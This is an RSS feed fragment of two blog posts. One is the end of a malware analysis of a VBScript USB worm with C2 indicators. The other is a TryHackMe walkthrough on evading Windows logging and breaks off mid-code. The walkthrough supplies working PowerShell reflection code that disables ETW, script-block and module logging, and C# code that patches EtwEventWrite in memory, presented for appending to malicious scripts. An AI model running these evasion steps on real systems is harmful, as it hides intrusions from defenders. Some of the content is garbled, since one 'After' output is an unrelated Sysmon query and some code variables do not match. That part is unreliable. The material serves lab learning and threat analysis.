then built to do the following:</p><p>Retrieve the registry values (using the random variable names) for “Sat”, “Dat”, and “Gat”.</p><p>Concatenate these three fragments into one complete PowerShell command.</p><p>Execute the resulting command using IEX.</p><p>At last because why not the shortcut is configured to run hidden (using -windowstyle hidden) with an execution policy bypass.</p><h3>SUMMARY</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>This malware is a multi-stage, highly evasive threat written in VBScript that establishes persistence and enables remote control.</p><p>It achieves persistence by modifying registry run keys and creating startup shortcuts, ensuring it executes on system boot. The malware uses obfuscation techniques — including randomized PowerShell variable names and fragmented command strings stored in the registry — to download and execute additional payloads from a remote server (C2).</p><p>It also spreads via USB drives by copying itself to removable media and deploying deceptive shortcuts that mimic legitimate folders. Additionally, it incorporates system enumeration functions to gather detailed information about drives, files, and running processes, which it then exfiltrates to a command and control server. Overall, its capabilities include self-replication, remote execution, system reconnaissance, and stealth, making it a significant risk to compromised systems.</p><p>From the available information please find static and dynamic indicators of compromise below.</p><p><strong>Network-based IoC List::</strong></p><p>Domain:: usb[.]redirectme[.]net<br>Query:: POST http[://]usb[.]redirectme[.]net[:]963/IS-READY</p><p>Destination Port:: 963/TCP<br>IP:: 41[.]200[.]118[.]40<br>IP:: 185[.]81[.]157[.]186</p><p><strong>File-based IoC List::</strong></p><p>File Name:: USBDrive.vbs<br>MD5:: 846ebdb4feef71b2853cf4adeca11701<br>SHA-1:: 843795a35a5ce127b5920a7d6ad040afb408d6fb<br>SHA-256:: 41746a7437003018d5d0b281f2835dbc509ce167de0b740caec03a34df98cb90</p><p>File:: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Java_Update[.]lnk<br>Java_Update.lnk SHA-256::<br>53c6a6b80189e2bd73c3d9e1bf7c2b60f75a69f77d259da7cbfe49c875e2f012</p><p><strong>Behavioral-based IoC List::</strong></p><p>command:: “C:\Windows\System32\wscript.exe” //B “C:\Users\User\AppData\Roaming\USBDrive.vbs”</p><p><strong>Observed MITRE ATT&amp;CK Matrix::</strong></p><p>Execution:<br>T1059 — Command and Scripting Interpreter<br>T1047 — Windows Management Instrumentation<br>T1204 — User Execution</p><p>Persistence:<br>T1547 — Boot or Logon Autostart Execution</p><p>Privilege Escalation:<br>T1547 — Boot or Logon Autostart Execution</p><p>Defense Evasion:<br>T1497 — Virtualization / Sandbox Evasion</p><p>Discovery:<br>T1083 — File and Directory Discovery<br>T1497 — Virtualization / Sandbox Evasion<br>T1012 — Query Registry<br>T1518 — Software Discovery<br>T1082 — System Information Discovery<br>T1033 — System Owner/User Discovery</p><p>Command and Control:<br>T1071 — Application Layer Protocol<br>T1571 — Non Standard Port<br>T1001 — Data Obfuscation<br>T1105 — Ingress Tool Transfer</p><p>URL Analysis::<br><a href="https://www.virustotal.com/gui/domain/usb.redirectme.net">https://www.virustotal.com/gui/domain/usb.redirectme.net</a></p><p>Part of <a href="https://www.virustotal.com/gui/search/entity%253Adomain%2520whois%253Ac215fc66323f439as%2540no-ip.com">no-ip.com</a><br>Registrar Registration Expiration Date: <a href="https://www.virustotal.com/gui/search/entity%253Adomain%2520whois%253A%25222026-08-10T02%253A24%253A14%252B00%253A00%2522">2026–08–10T02:24:14+00:00</a></p><p><a href="https://threatbook.io/ip/41.200.118.40">https://threatbook.io/ip/41.200.118.40</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b6cd6eabdf9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me — Evading Logging and Monitoring — Walkthrough]]></title>
            <link>https://medium.com/@0x4C1D/try-hack-me-evading-logging-and-monitoring-walkthrough-154bc53bec8e?source=rss-b82c81e3983e------2</link>
            <guid isPermaLink="false">https://medium.com/p/154bc53bec8e</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[evasion]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[evading]]></category>
            <dc:creator><![CDATA[0x4C1D]]></dc:creator>
            <pubDate>Mon, 08 Jan 2024 13:06:48 GMT</pubDate>
            <atom:updated>2024-01-08T13:06:48.905Z</atom:updated>
            <content:encoded><![CDATA[<h3>Try Hack Me — Evading Logging and Monitoring — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*ZbrdovHohZoISZMpsALT5w.png" /></figure><p>Evading Logging and Monitoring is part of the THMs Red Teaming — Host Evasion section.</p><p>Link to the room: <a href="https://tryhackme.com/room/monitoringevasion">https://tryhackme.com/room/monitoringevasion</a></p><p>NOTE:: Please use this guide if you get stuck and use it as an aid for your learning. Even tho I will provide the answers</p><p>Let’s dive into this room and see what we are up for.</p><h3>Task 1 — Introduction<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>One of the largest obstacles in an attacker’s path is logging and monitoring. Unlike anti-virus and <strong>EDR</strong> (<strong>E</strong>ndpoint <strong>D</strong>etection and <strong>R</strong>esponse) solutions, logging creates a physical record of activity that can be analyzed for malicious activity.</p><p>How a device is monitored will depend on the environment and preferences of the corporation. Teams may decide not to monitor some devices at all. Generally, a monitoring solution will begin at the host device, collecting application or event logs. Once logs are created, they can be kept on the device or sent to an event collector/forwarder. Once they are off the device, the defense team decides how to aggregate them; this is generally accomplished using an indexer and a <strong>SIEM</strong> (<strong>S</strong>ecurity <strong>I</strong>nformation and <strong>E</strong>vent <strong>M</strong>anager).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/0*aegWN2-O8Uf8Uk0Y.png" /></figure><p>An attacker may not have much control once logs are taken off a device, but can control what is on the device and how it is ingested. The primary target for an attacker is the event logs, managed and controlled by <strong>ETW</strong> (<strong>E</strong>vent <strong>T</strong>racing for <strong>W</strong>indows).</p><p>This room will address event tracing and its weaknesses to allow an attacker to evade or disable ETW-based solutions.</p><h3>Learning Objectives</h3><ul><li>Understand the technology and implementation of event tracing.</li><li>Understand how techniques are created to evade ETW.</li><li>Learn how to apply theoretical evasion concepts to code.</li></ul><p>Before beginning this room, familiarize yourself with basic Windows usage and functionality; we recommend completing the <a href="https://tryhackme.com/room/windowsinternals">Windows Internals</a> room. Basic programming knowledge in C and PowerShell is also recommended but not required.</p><p>We have provided a base Windows machine with the files needed to complete this room. You can access the machine in-browser or through RDP using the credentials below.</p><p>Machine IP: MACHINE_IP Username: Administrator Password: Tryhackme!</p><p>This is going to be a lot of information. Please buckle your seatbelts and locate your nearest fire extinguisher.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*i0WFUbzuIm_Oseg5B7Fcrw.png" /></figure><blockquote>Question:: Read the above and continue to the next task.<br>Answer:: No answer needed!!</blockquote><h3>Task 2— Event Tracing<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>As previously mentioned, almost all event logging capability within Windows is handled from ETW at both the application and kernel level. While there are other services in place like <em>Event Logging</em> and <em>Trace Logging,</em> these are either extensions of ETW or less prevalent to attackers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XFw5k0zg8jxxrHi6_HHbaw.png" /></figure><p>We will cover each component and how it is instrumented in more depth in the next task.</p><p>While less important to an attacker than components, event IDs are a core feature of Windows logging. Events are sent and transferred in XML(Extensible Markup Language) format which is the standard for how events are defined and implemented by providers. Below is an example of event ID 4624: <em>An account was successfully logged on</em>.</p><pre>Event ID:4624<br>Source:Security<br>Category:Logon/Logoff<br>Message:An account was successfully logged on.</pre><pre>Subject:<br>Security ID: NT AUTHORITY\\SYSTEM<br>Account Name: WORKSTATION123$<br>...<br>[ snip ]<br>...<br>Logon Type: 7</pre><pre>New Logon:<br>Security ID: CORPDOMAIN\\john.doe<br>Account Name: john.doe<br>...<br>[ snip ]<br>...<br>Process Information:<br>Process ID: 0x314</pre><p>For more information about event logging, check out the <a href="https://tryhackme.com/room/windowseventlogs">Windows Event Logs room</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/0*dIAJRLUePdwfmiLy.png" /></figure><p>At this point, we understand why logging can disrupt an attacker, but how exactly is ETW relevant to an attacker? ETW has visibility over a majority of the operating system, whereas logging generally has limited visibility or detail.</p><p>Due to the visibility of ETW, an attacker should always be mindful of the events that could be generated when carrying out their operation. The best approach to taking down ETW is to limit its insight as much as possible into specifically what you are doing while maintaining environment integrity.</p><p>In the upcoming tasks, we will cover ETW instrumentation, ETW evasion, and other ETW-based solutions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*i0WFUbzuIm_Oseg5B7Fcrw.png" /></figure><blockquote>Question:: What ETW component will build and configure sessions?</blockquote><p>It is basically stated within the guide where the components are discussed.</p><blockquote>Answer:: Controllers</blockquote><blockquote>Question:: What event ID logs when a user account was deleted?</blockquote><p>This one is not stated within the guide and requires the user to do his/her own homework :) The bellow URL is a great help with these IDs</p><p><a href="https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4726">4726(S) A user account was deleted. - Windows Security</a></p><blockquote>Answer:: 4726</blockquote><h3>Task 3— Approaches to Log Evasion<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>Before diving deep into the more modern and technical evasion techniques, let’s look at the various approaches available and their impacts on attackers and defenders.</p><p>When first thinking about and assessing log evasion, you may think that simply destroying or tampering with the logs may be viable.</p><p>Following security best practices, it is typical for a modern environment to employ log forwarding. Log forwarding means that the SOC will move or “forward” logs from the host machine to a central server or indexer. Even if an attacker can delete logs from the host machine, they could already be off of the device and secured.</p><p>Assuming an attacker did destroy all of the logs before they were forwarded, or if they were not forwarded, how would this raise an alert? An attacker must first consider environment integrity; if no logs originate from a device, that can present serious suspicion and lead to an investigation. Even if an attacker did control what logs were removed and forwarded, defenders could still track the tampering.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WHWX3jaMJBvzTildCQD-zg.png" /></figure><p>The above event IDs can monitor the process of destroying logs or “log smashing.” This poses a clear risk to attackers attempting to tamper with or destroy logs. Although it is possible to bypass these mitigations further or tamper with the logs, an attacker must assess the risk. When approaching an environment, you are generally unaware of security practices and take an <strong>OPSEC</strong> (<strong>Op</strong>erational <strong>Sec</strong>urity) risk by attempting this approach.</p><p>If the previous approach is too aggressive, how can we strategically approach the problem?</p><p>An attacker must focus on what logs a malicious technique may result in to keep an environment’s integrity intact. Knowing what may be instrumented against them, they can utilize or modify published methods.</p><p>Most published techniques will target ETW components since that will allow an attacker the most control over the tracing process.</p><p>This room will break down some of the most common published techniques and a more modern technique that allows for a wide range of control.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*i0WFUbzuIm_Oseg5B7Fcrw.png" /></figure><blockquote>Question:: How many total events can be used to track event tampering?</blockquote><p>The answer is mentioned in the attached table within the content.</p><blockquote>Answer:: 3</blockquote><blockquote>Question:: What event ID logs when the log file was cleared?</blockquote><p>The answer is mentioned in the attached table within the content.</p><blockquote>Answer:: 104</blockquote><h3>Task 4— Tracing Instrumentation<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>ETW is broken up into three separate components, working together to manage and correlate data. Event logs in Windows are no different from generic XML data, making it easy to process and interpret.</p><p>Event Controllers are used to build and configure sessions. To expand on this definition, we can think of the controller as the application that determines how and where data will flow. From the <a href="https://docs.microsoft.com/en-us/windows/win32/etw/about-event-tracing#controllers">Microsoft docs</a>, “Controllers are applications that define the size and location of the log file, start and stop event tracing sessions, enable providers so they can log events to the session, manage the size of the buffer pool, and obtain execution statistics for sessions.”</p><p>Event Providers are used to generate events. To expand on this definition, the controller will tell the provider how to operate, then collect logs from its designated source. From the <a href="https://docs.microsoft.com/en-us/windows/win32/etw/about-event-tracing#providers">Microsoft docs</a>, “Providers are applications that contain event tracing instrumentation. After a provider registers itself, a controller can then enable or disable event tracing in the provider. The provider defines its interpretation of being enabled or disabled. Generally, an enabled provider generates events, while a disabled provider does not.”</p><p>There are also four different types of providers with support for various functions and legacy systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tbaZOJa4GM3-y_VCrSGtdA.png" /></figure><p>Event Consumers are used to interpret events. To expand on this definition, the consumer will select sessions and parse events from that session or multiple at the same time. This is most commonly seen in the “<em>Event Viewer”.</em> From the <a href="https://docs.microsoft.com/en-us/windows/win32/etw/about-event-tracing#consumers">Microsoft docs</a>, “Consumers are applications that select one or more event tracing sessions as a source of events. A consumer can request events from multiple event tracing sessions simultaneously; the system delivers the events in chronological order. Consumers can receive events stored in log files, or from sessions that deliver events in real time.”</p><p>Each of these components can be brought together to fully understand and depict the data/session flow within ETW.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/0*oUBUXGeVhifg73lP.png" /></figure><p>From start to finish, events originate from the providers. Controllers will determine where the data is sent and how it is processed through sessions. Consumers will save or deliver logs to be interpreted or analyzed.</p><p>Now that we understand how ETW is instrumented, how does this apply to attackers? We previously mentioned the goal of limiting visibility while maintaining integrity. We can limit a specific aspect of insight by targeting components while maintaining most of the data flow. Below is a brief list of specific techniques that target each ETW component.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ss8Rx3tYmY2iSP0yTSj0hA.png" /></figure><p>We will cover each of these techniques in-depth in the upcoming tasks to provide a large toolbox of possibilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*i0WFUbzuIm_Oseg5B7Fcrw.png" /></figure><blockquote>Question:: Read the above and continue to the next task.<br>Answer:: No answer needed!!</blockquote><h3>Task 5— Reflection for Fun and Silence<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>Within PowerShell, ETW providers are loaded into the session from a <strong>.NET assembly</strong>: PSEtwLogProvider. From the <a href="https://docs.microsoft.com/en-us/dotnet/standard/assembly/">Microsoft docs</a>, &quot;Assemblies form the fundamental units of deployment, version control, reuse, activation scoping, and security permissions for .NET-based applications.&quot; .NET assemblies may seem foreign; however, we can make them more familiar by knowing they take shape in familiar formats such as an exe (executable) or a dll (dynamic-link library).</p><p>In a PowerShell session, most .NET assemblies are loaded in the same security context as the user at startup. Since the session has the same privilege level as the loaded assemblies, we can modify the assembly fields and values through PowerShell reflection. From <a href="https://www.oreilly.com/library/view/professional-windows-powershell/9780471946939/9780471946939_using_.net_reflection.html">O’Reilly</a> , “Reflection allows you to look inside an assembly and find out its characteristics. Inside a .NET assembly, information is stored that describes what the assembly contains. This is called metadata. A .NET assembly is, in a sense, self-describing, at least if interrogated correctly.”</p><p>In the context of <strong>ETW</strong> (<strong>E</strong>vent <strong>T</strong>racing for <strong>W</strong>indows), an attacker can reflect the ETW event provider assembly and set the field m_enabled to $null.</p><p>At a high level, PowerShell reflection can be broken up into four steps:</p><ol><li>Obtain .NET assembly for PSEtwLogProvider.</li><li>Store a null value for etwProvider field.</li><li>Set the field for m_enabled to previously stored value.</li></ol><p>At step one, we need to obtain the type for the PSEtwLogProvider assembly. The assembly is stored in order to access its internal fields in the next step.</p><pre>$logProvider = [Ref].Assembly.GetType(&#39;System.Management.Automation.Tracing.PSEtwLogProvider&#39;)</pre><p>At step two, we are storing a value ($null) from the previous assembly to be used.</p><pre>$etwProvider = $logProvider.GetField(&#39;etwProvider&#39;,&#39;NonPublic,Static&#39;).GetValue($null)</pre><p>At step three, we compile our steps together to overwrite the m_enabled field with the value stored in the previous line.</p><pre>[System.Diagnostics.Eventing.EventProvider].GetField(&#39;m_enabled&#39;,&#39;NonPublic,Instance&#39;).SetValue($etwProvider,0);</pre><p>We can compile these steps together and append them to a malicious PowerShell script. Use the PowerShell script provided and experiment with this technique.</p><p>To prove the efficacy of the script, we can execute it and measure the number of returned events from a given command.</p><h4><strong>Before</strong></h4><pre>PS C:\Users\Administrator&gt; Get-WinEvent -FilterHashtable @{ProviderName=&quot;Microsoft-Windows-PowerShell&quot;; Id=4104} | Measure | % Count<br>7<br>PS C:\Users\Administrator&gt; whoami<br>Tryhackme\administrator<br>PS C:\Users\Administrator&gt; Get-WinEvent -FilterHashtable @{ProviderName=&quot;Microsoft-Windows-PowerShell&quot;; Id=4104} | Measure | % Count<br>11</pre><h4>After</h4><pre>PS C:\Users\Administrator&gt;.\reflection.ps1<br>PS C:\Users\Administrator&gt; Get-WinEvent -FilterHashtable @{ProviderName=&quot;Microsoft-Windows-PowerShell&quot;; Id=4104} | Measure | % Count<br>18<br>PS C:\Users\Administrator&gt; whoami<br>Tryhackme\administrator<br>PS C:\Users\Administrator&gt; Get-WinEvent -FilterHashtable @{ProviderName=&quot;Microsoft-Windows-PowerShell&quot;; Id=4104} | Measure | % Count<br>18</pre><p>In the first terminal, we see four events generated when the whoami command is run. After the script is executed in the second terminal, we see no events generated from running a command. From this comparison, we can also see that the PowerShell script creates seven events; this should be considered when evaluating an approach.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*i0WFUbzuIm_Oseg5B7Fcrw.png" /></figure><blockquote>Question:: What reflection assembly is used?</blockquote><p>Answer is within the details and description. Its described in step 1.</p><blockquote>Answer:: PSEtwLogProvider</blockquote><blockquote>Question:: What field is overwritten to disable ETW?</blockquote><p>The answer is described within step 3</p><blockquote>Answer:: m_enabled</blockquote><h3>Task 6— Patching Tracing Functions<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>ETW is loaded from the runtime of every new process, commonly originating from the <strong>CLR</strong> (<strong>C</strong>ommon <strong>L</strong>anguage <strong>R</strong>untime). Within a new process, ETW events are sent from the userland and issued directly from the current process. An attacker can write pre-defined opcodes to an in-memory function of ETW to patch and disable functionality. Before diving into the specific details of this technique, let’s observe what patching may look like at a high level. At its most basic definition, we are trying to force an application to quit or return before reaching the function we want to patch.</p><p>To better understand this concept, we created a basic pseudo function that will perform math operations and then return an integer. If a return is inserted before the original return then the program will not complete the subsequent lines.</p><pre>int x = 1<br>int y = 3<br>return x + y</pre><pre>// output: 4</pre><pre>int x = 1<br>return  x<br>int y = 3<br>return x + y</pre><pre>// output: 1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/0*4N74bwpwtmjvYwyD.png" /></figure><p>Adapting this high-level concept to our objective, if we can identify how the return is called in memory we can write it to the function and expect it to run before any other lines. We are expecting that the return is placed at the top because the stack uses a <strong>LIFO</strong> (<strong>L</strong>ast <strong>I</strong>n <strong>F</strong>irst <strong>O</strong>ut) structure. To the right is a brief diagram of how the LIFO structure works. We will expand on how the LIFO structure operates as we dive deeper into this task.</p><p>Now that we understand a little more about the return statements and the LIFO structure, let’s return to how this applies to event tracing. Before writing any code or identifying steps to patch a function, we need to identify a malicious function and possible points that we can return from. Thanks to previous research, we know that from the CLR, ETW is written from the function EtwEventWrite. To identify “patch points” or returns, we can view the disassembly of the function.</p><pre>779f2459 33cc		       xor	ecx, esp<br>779f245b e8501a0100	   call	ntdll!_security_check_cookie<br>779f2460 8be5		       mov	esp, ebp<br>779f2462 5d		         pop	ebp<br>779f2463 c21400		     ret	14h</pre><p>When observing the function, we are looking for an opcode that will return the function or stop the execution of the function. Through research or familiarity with assembly instructions, we can determine that ret 14h will end the function and return to the previous application.</p><p>From <a href="https://docs.oracle.com/cd/E19455-01/806-3773/instructionset-67/index.html">IA-32 documentation</a>, “the <em>ret</em> instruction transfers control to the return address located on the stack.”</p><p>In more technical terms, ret will <em>pop</em> the last value placed on the stack. The parameter of ret (14h) will specify the number of bytes or words released once the stack is popped.</p><p>To neuter the function, an attacker can write the opcode bytes of ret14h, c21400 to memory to patch the function.</p><p>To better understand what we are attempting to achieve on the stack we can apply the opcode to our previous LIFO diagram.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/0*NVKMP1UXiSZH3Tcn.png" /></figure><p>Now that we have a basic understanding of the core fundamentals behind the technique let’s look at how it’s technically applied.</p><p>At a high level, ETW patching can be broken up into five steps:</p><ol><li>Obtain a handle for EtwEventWrite</li><li>Modify memory permissions of the function</li><li>Write opcode bytes to memory</li><li>Reset memory permissions of the function (optional)</li><li>Flush the instruction cache (optional)</li></ol><p>At step one, we need to obtain a handle for the address of EtwEventWrite. This function is stored within ntdll. We will first load the library using LoadLibrary then obtain the handle using GetProcAddress.</p><pre>var ntdll = Win32.LoadLibrary(&quot;ntdll.dll&quot;);<br>var etwFunction = Win32.GetProcAddress(ntdll, &quot;EtwEventWrite&quot;);</pre><p>At step two, we need to modify the memory permissions of the function to allow us to write to the function. The permission of the function is defined by the flNewProtect parameter; 0x40 enables X, R, or RW access (<a href="https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants">memory protection constraints</a>).</p><pre>uint oldProtect;<br>Win32.VirtualProtect(<br>	etwFunction, <br>	(UIntPtr)patch.Length, <br>	0x40, <br>	out oldProtect<br>);</pre><p>At step three, the function has the permissions we need to write to it, and we have the pre-defined opcode to patch it. Because we are writing to a function and not a process, we can use the infamous Marshal.Copy to write our opcode.</p><pre>patch(new byte[] { 0xc2, 0x14, 0x00 });<br>Marshal.Copy(<br>	patch, <br>	0, <br>	etwEventSend, <br>	patch.Length<br>);</pre><p>At step four, we can begin cleaning our steps to restore memory permissions as they were.</p><pre>VirtualProtect(etwFunction, 4, oldProtect, &amp;oldOldProtect);</pre><p>At step five, we can ensure the patched function will be executed from the instruction cache.</p><pre>Win32.FlushInstructionCache(<br>	etwFunction,<br>	NULL<br>);</pre><p>We can compile these steps together and append them to a malicious script or session. Use the C# script provided and experiment with this technique.</p><p>After the opcode is written to memory, we can view the disassembled function again to observe the patch.</p><pre>779f23c0 c21400		    ret	14h<br>779f23c3 00ec		      add	ah, ch<br>779f23c5 83e4f8		    and	esp, 0FFFFFFF8h<br>779f23c8 81ece0000000	sub	esp, 0E0h</pre><p>In the above disassembly, we see exactly what we depicted in our LIFO diagram (<em>figure 2</em>).</p><p>Once the function is patched in memory, it will always return when EtwEventWrite is called.</p><p>Although this is a beautifully crafted technique, it might not be the best approach depending on your environment since it may restrict more logs than you want for integrity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*i0WFUbzuIm_Oseg5B7Fcrw.png" /></figure><blockquote>Question:: What is the base address for the ETW security check before it is patched?</blockquote><p>We need to look for the ntdll call within the first section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*IflK-Czd8P4Kfg7XcP3dXg.png" /></figure><blockquote>Answer:: 779f245b</blockquote><blockquote>Question:: What is the non-delimited opcode used to patch ETW for x64 architecture?</blockquote><p>Within the description and details an attacker can write the opcode bytes of ret14h, c21400 to memory to patch the function.</p><blockquote>Answer:: c21400</blockquote><h3>Task 7—Providers via Policy<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>ETW has a lot of coverage out of the box, but it will disable some features unless specified because of the amount of logs they can create. These features can be enabled by modifying the <strong>GPO</strong> (<strong>G</strong>roup <strong>P</strong>olicy <strong>O</strong>bject) settings of their parent policy. Two of the most popular GPO providers provide coverage over PowerShell, including <strong>script block logging</strong> and <strong>module logging</strong>.</p><p>Script block logging will log any script blocks executed within a PowerShell session. Introduced in PowerShell v4 and improved in PowerShell v5, the ETW provider has two event IDs it will report.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gc_LHwMvuSHymGic6j3hDQ.png" /></figure><p>Event ID 4104 is most prevalent to attackers and can expose their scripts if not properly obfuscated or hidden. Below is a shortened example of what a 4104 log may look like.</p><pre>Event ID:4104<br>Source:Microsoft-Windows-PowerShell<br>Category:Execute a Remote Command<br>Log:Microsoft-Windows-PowerShell/Operational<br>Message:Creating Scriptblock text (1 of 1):<br>Write-Host PowerShellV5ScriptBlockLogging</pre><pre>ScriptBlock ID: 6d90e0bb-e381-4834-8fe2-5e076ad267b3<br>Path:</pre><p>Module logging is a very verbose provider that will log any modules and data sent from it. Introduced in PowerShell v3, each module within a PowerShell session acts as a provider and logs its own module. Similar to the previous provider, the modules will write events to event ID 4103. Below is an example of what a 4103 log may look like.</p><pre>Event ID:4103<br>Source:Microsoft-Windows-PowerShell<br>Category:Executing Pipeline<br>Log:Microsoft-Windows-PowerShell/Operational</pre><pre>Message:CommandInvocation(Write-Host): &quot;Write-Host&quot;<br>ParameterBinding(Write-Host): name=&quot;Object&quot;; <br>value=&quot;TestPowerShellV5&quot;</pre><pre>Context:<br>Severity = Informational<br>Host Name = ConsoleHost<br>...<br>[snip]<br>...<br>User = DOMAIN\\username<br>Connected User =<br>Shell ID = Microsoft.PowerShell</pre><p>Event ID 4103 is less prevalent to attackers because of the amount of logs created. This can often result in it being treated with less severity or being disabled completely.</p><p>Although attackers have ETW patches available, they may not always be practical or the best approach to evade logging. As an alternative, attackers can target these providers to slowly limit visibility while not being as obvious or noisy as other techniques.</p><p>The general goal of disabling these providers is to limit the visibility of components you require while still making the environment seem untampered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*i0WFUbzuIm_Oseg5B7Fcrw.png" /></figure><blockquote>Question:: How many total events are enabled through script block and module providers?</blockquote><p>Check the provided table.</p><blockquote>Answer:: 2</blockquote><blockquote>Question:: What event ID will log script block execution?</blockquote><p>Check the provided table.</p><blockquote>Answer:: 4104</blockquote><h3>Task 8 — Group Policy Takeover<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>The module logging and script block logging providers are both enabled from a group policy, specifically Administrative Templates -&gt; Windows Components -&gt; Windows PowerShell. As mentioned in task 4, Within a PowerShell session, system assemblies are loaded in the same security context as users. This means an attacker has the same privilege level as the assemblies that cache GPO settings. Using reflection, an attacker can obtain the utility dictionary and modify the group policy for either PowerShell provider.</p><p>At a high-level a group policy takeover can be broken up into three steps:</p><ol><li>Obtain group policy settings from the utility cache.</li><li>Modify generic provider to 0.</li><li>Modify the invocation or module definition.</li></ol><p>We will break down an example PowerShell script to identify each step and explain each in depth below.</p><p>At step one, we must use reflection to obtain the type of System.Management.Automation.Utils and identify the GPO cache field: cachedGroupPolicySettings.</p><pre>$GroupPolicySettingsField = [ref].Assembly.GetType(&#39;System.Management.Automation.Utils&#39;).GetField(&#39;cachedGroupPolicySettings&#39;, &#39;NonPublic,Static&#39;)<br>$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)</pre><p>At step two, we can leverage the GPO variable to modify either event provider setting to 0. EnableScriptBlockLogging will control <strong>4104</strong> events, limiting the visibility of script execution. Modification can be accomplished by writing to the object or registry directly.</p><pre>$GroupPolicySettings[&#39;ScriptBlockLogging&#39;][&#39;EnableScriptBlockLogging&#39;] = 0</pre><p>At step three, we can repeat the previous step with any other provider settings we want to EnableScriptBlockInvocationLogging will control <strong>4103</strong> events, limiting the visibility of cmdlet and pipeline execution.</p><pre>$GroupPolicySettings[&#39;ScriptBlockLogging&#39;][&#39;EnableScriptBlockInvocationLogging&#39;] = 0</pre><p>We can compile these steps together and append them to a malicious PowerShell script. Use the PowerShell script provided and experiment with this technique.</p><p>Note: The core functionality of the script is identical to the above code but slightly modified to comply with PowerShell v.5.1 updates.</p><p>To prove the efficacy of the script, we can execute it and measure the number of returned events from a given command.</p><p>Before</p><pre>PS C:\Users\Administrator\Desktop&gt; Get-WinEvent -FilterHashtable @{ProviderName=&quot;Microsoft-Windows-PowerShell&quot;; Id=4104} | Measure | % Count<br>0<br>PS C:\Users\Administrator\Desktop&gt; whoami<br>Tryhackme\administrator<br>PS C:\Users\Administrator\Desktop&gt; Get-WinEvent -FilterHashtable @{ProviderName=&quot;Microsoft-Windows-PowerShell&quot;; Id=4104} | Measure | % Count<br>3</pre><p>After</p><pre>PS C:\Users\THM-Analyst&gt; Get-WinEvent -Path C:\Users\THM-Analyst\Desktop\Scenarios\Practice\Hunting_Metasploit.evtx -FilterXPath &#39;*/System/EventID=3 and */EventData/Data[@Name=&quot;DestinationPort&quot;] and */EventData/Data=4444&#39;</pre><pre>   ProviderName: Microsoft-Windows-Sysmon</pre><pre>TimeCreated                     Id LevelDisplayName Message<br>-----------                     -- ---------------- -------<br>1/5/2021 2:21:32 AM              3 Information      Network connection detected:...</pre><p>In the first terminal, we see there are three events generated when the PowerShell script is run. In the second terminal, after the script is executed we see that there are no events generated from running a command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/223/1*i0WFUbzuIm_Oseg5B7Fcrw.png" /></figure><blockquote>Question:: What event IDs can be disabled using this technique? (lowest to highest separated by a comma)</blockquote><p>The answer is within the details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YBs2bLjPhOVy5adjoE6uhA.png" /></figure><blockquote>Answer:: 4103, 4104</blockquote><blockquote>Question:: What provider setting controls 4104 events?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yjYdt1iEr53TpvabepyNgA.png" /></figure><blockquote>Answer:: EnableScriptBlockLogging</blockquote><h3>Task 9 — Abusing Log Pipeline<br> — — — — — — — — — — — — — — — — — — — — — —</h3><p>Within PowerShell, each module or snap-in has a setting that anyone can use to modify its logging functionality. From the <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_eventlogs?view=powershell-5.1#logging-module-events">Microsoft docs</a>, “When the <em>LogPipelineExecutionDetails</em> property value is TRUE ($true), Windows PowerShell writes cmdlet and function execution events in the session to the Windows PowerShell log in Event Viewer.” An attacker can change this value to $false in any PowerShell session to disable a module logging for that specific session. The Microsoft docs even note the ability to disable logging from a user session, “To disable logging, use the same command sequence to set the property value to FALSE ($false).”</p><p>At a high-level the log pipeline technique can be broken up into four steps:</p><ol><li>Obtain the target module.</li><li>Set module execution details to $false.</li><li>Obtain the module snap-in.</li><li>Set snap-in execution details to $false.</li></ol><pre>$module = Get-Module Microsoft.PowerShell.Utility # Get target module<br>$module.LogPipelineExecutionDetails = $false # Set module execution details to 